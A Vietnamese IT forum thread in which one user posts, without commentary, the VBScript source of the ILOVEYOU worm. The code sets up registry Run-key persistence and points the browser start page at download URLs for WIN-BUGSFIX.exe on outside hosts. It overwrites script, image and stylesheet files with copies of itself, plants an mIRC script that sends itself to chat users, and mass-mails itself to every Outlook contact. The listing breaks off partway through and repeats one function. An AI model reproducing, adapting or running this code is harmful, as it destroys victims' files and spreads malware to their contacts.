Bạn ghé thăm diễn đàn lần đầu? hãy đăng ký ngay bây giờ để tham gia.
  • Đăng nhập:

Chào mừng bạn đến với ITVNN FORUM - Diễn đàn công nghệ thông tin.

Nếu đây là lần đầu tiên bạn tham gia diễn đàn, xin mời bạn xem phần Hỏi/Ðáp để biết cách dùng diễn đàn. Để có thể tham gia thảo luận bạn phải đăng ký làm thành viên, click vào đây để đăng ký.


  • Partner Area
kết quả từ 1 tới 1 trên 1

Ðề tài: Source virus i love u

Tăng kích thước phông chữ Giảm kích thước phông chữ
  1. #1
    80A-8888's Avatar

    Trạng thái
    Offline
    Tham gia ngày
    Oct 2009
    Thành viên thứ
    1844
    Tuổi
    28
    Giới tính
    Bài gởi
    37
    Level: 27 [?]
    Experience: 133,026
    Next Level: 157,092
    Cảm ơn 0
    Cảm ơn 1 lần / 1 Bài viết

    Icon17 Source virus i love u  

    Source virus i love u

    Code: 
    On Error Resume Next
    Dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
    Eq=""
    Ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    Vbscopy=file.ReadAll
    Main()
    sub Main()
    On Error Resume Next
    Dim wscr,rr
    Set wscr=CreateObject("WScript.Shell")
    Rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout")
    If (rr>=1) then
    Wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout",0,"REG_DWORD"
    End if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    C.Copy(dirsystem&"\MSKernel32.vbs")
    C.Copy(dirwin&"\Win32DLL.vbs")
    C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    Regruns()
    Html()
    Spreadtoemail()
    
    Listadriv()
    End sub
    sub Regruns()
    On Error Resume Next
    Dim num,downread
    Regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
    ",dirsystem&"\MSKernel32.vbs"
    Regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
    N32DLL",dirwin&"\Win32DLL.vbs"
    Downread=""
    Downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Download Directory")
    If (downread="") then
    Downread="c:\"
    End if
    If (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    Num = Int((4 * Rnd) + 1)
    If num = 1 then
    Regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
    W6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    Elseif num = 2 then
    Regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
    546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    Elseif num = 3 then
    Regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
    POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    Elseif num = 4 then
    Regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
    Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
    YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
    .exe"
    End if
    End if
    If (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    Regcreate
    "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
    X",downread&"\WIN-BUGSFIX.exe"
    Regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
    Page","about:blank"
    End if
    End sub
    Sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    Folderlist(d.path&"\")
    End if
    Next
    Listadriv = s
    End sub
    Sub infectfiles(folderspec)
    On Error Resume Next
    Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    Set f = fso.GetFolder(folderspec)
    Set fc = f.Files
    For each f1 in fc
    Ext=fso.GetExtensionName(f1.path)
    Ext=lcase(ext)
    S=lcase(f1.name)
    If (ext="vbs") or (ext="vbe") then
    Set ap=fso.OpenTextFile(f1.path,2,true)
    Ap.write vbscopy
    Ap.close
    Elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
    Or (ext="hta") then
    Set ap=fso.OpenTextFile(f1.path,2,true)
    Ap.write vbscopy
    Ap.close
    Bname=fso.GetBaseName(f1.path)
    Set cop=fso.GetFile(f1.path)
    Cop.copy(folderspec&"\"&bname&".vbs")
    Fso.DeleteFile(f1.path)
    Elseif(ext="jpg") or (ext="jpeg") then
    Set ap=fso.OpenTextFile(f1.path,2,true)
    Ap.write vbscopy
    Ap.close
    Set cop=fso.GetFile(f1.path)
    Cop.copy(f1.path&".vbs")
    Fso.DeleteFile(f1.path)
    Elseif(ext="mp3") or (ext="mp2") then
    Set mp3=fso.CreateTextFile(f1.path&".vbs")
    Mp3.write vbscopy
    Mp3.close
    Set att=fso.GetFile(f1.path)
    Att.attributes=att.attributes+2
    End if
    If (eq<>folderspec) then
    If (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
    (s="script.ini") or (s="mirc.hlp") then
    Set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
    Scriptini.WriteLine "[script]"
    Scriptini.WriteLine ";mIRC Script"
    Scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
    If mIRC will"
    Scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
    Correctly. thanks"
    Scriptini.WriteLine ";"
    Scriptini.WriteLine ";Khaled Mardam-Bey"
    Scriptini.WriteLine ";http://www.mirc.com"
    Scriptini.WriteLine ";"
    Scriptini.WriteLine "n0=on 1:JOIN:#:{"
    Scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
    Scriptini.WriteLine "n2= /.dcc send $nick
    "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    Scriptini.WriteLine "n3=}"
    Scriptini.close
    Eq=folderspec
    End if
    End if
    Next
    End sub
    Sub folderlist(folderspec)
    On Error Resume Next
    Dim f,f1,sf
    Set f = fso.GetFolder(folderspec)
    Set sf = f.SubFolders
    For each f1 in sf
    Infectfiles(f1.path)
    Folderlist(f1.path)
    Next
    End sub
    Sub regcreate(regkey,regvalue)
    Set regedit = CreateObject("WScript.Shell")
    Regedit.RegWrite regkey,regvalue
    End sub
    Function regget(value)
    Set regedit = CreateObject("WScript.Shell")
    Regget=regedit.RegRead(value)
    End function
    Function fileexist(filespec)
    On Error Resume Next
    Dim msg
    If (fso.FileExists(filespec)) Then
    Msg = 0
    Else
    Msg = 1
    End if
    Fileexist = msg
    End function
    Function folderexist(folderspec)
    On Error Resume Next
    Dim msg
    If (fso.GetFolderExists(folderspec)) then
    Msg = 0
    Else
    Msg = 1
    End if
    Fileexist = msg
    End function
    Function folderexist(folderspec)
    On Error Resume Next
    Dim msg
    If (fso.GetFolderExists(folderspec)) then
    Msg = 0
    Else
    Msg = 1
    End if
    Fileexist = msg
    End function
    sub Spreadtoemail()
    On Error Resume Next
    Dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
    Set regedit=CreateObject("WScript.Shell")
    Set out=WScript.CreateObject("Outlook.Application")
    Set mapi=out.GetNameSpace("MAPI")
    For ctrlists=1 to mapi.AddressLists.Count
    Set a=mapi.AddressLists(ctrlists)
    X=1
    Regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    If (regv="") then
    Regv=1
    End if
    If (int(a.AddressEntries.Count)>int(regv)) then
    For ctrentries=1 to a.AddressEntries.Count
    Malead=a.AddressEntries(x)
    Regad=""
    Regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
    If (regad="") then
    Set male=out.CreateItem(0)
    Male.Recipients.Add(malead)
    Male.Subject = "ILOVEYOU"
    Male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
    Male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    Male.Send
    Regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
    End if
    X=x+1
    Next
    Regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    Else
    Regedit.RegWrite
    "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    End if
    Next
    Set out=Nothing
    Set mapi=Nothing
    End sub
    Sub html
    On Error Resume Next
    Dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    Dta1=""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _


 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Trả lời: 1
    Bài mới gởi: 25-11-2017, 09:58 AM
  2. [Love] a little love
    By hoangduykt7990 in forum Tán gẫu
    Trả lời: 0
    Bài mới gởi: 23-07-2011, 12:17 AM
  3. Phần mềm diệt virus Kaspersky Anti-Virus
    By vipxinh9x in forum Phần mềm
    Trả lời: 0
    Bài mới gởi: 22-02-2011, 12:52 PM
  4. Cẩn thận với Virus giả danh phần mềm chống virus
    By tonngokhong in forum Thủ thuật, mẹo vặt
    Trả lời: 0
    Bài mới gởi: 01-05-2010, 10:46 AM
  5. Trả lời: 0
    Bài mới gởi: 18-09-2009, 06:51 PM

Tags for this Thread

Bookmarks

Quuyền Hạn Của Bạn

  • Bạn không thể tạo chủ đề mới
  • Bạn không thể trả lời bài viết
  • Bạn không thể gửi file đính kèm
  • Bạn không thể chỉnh sửa bài viết
  •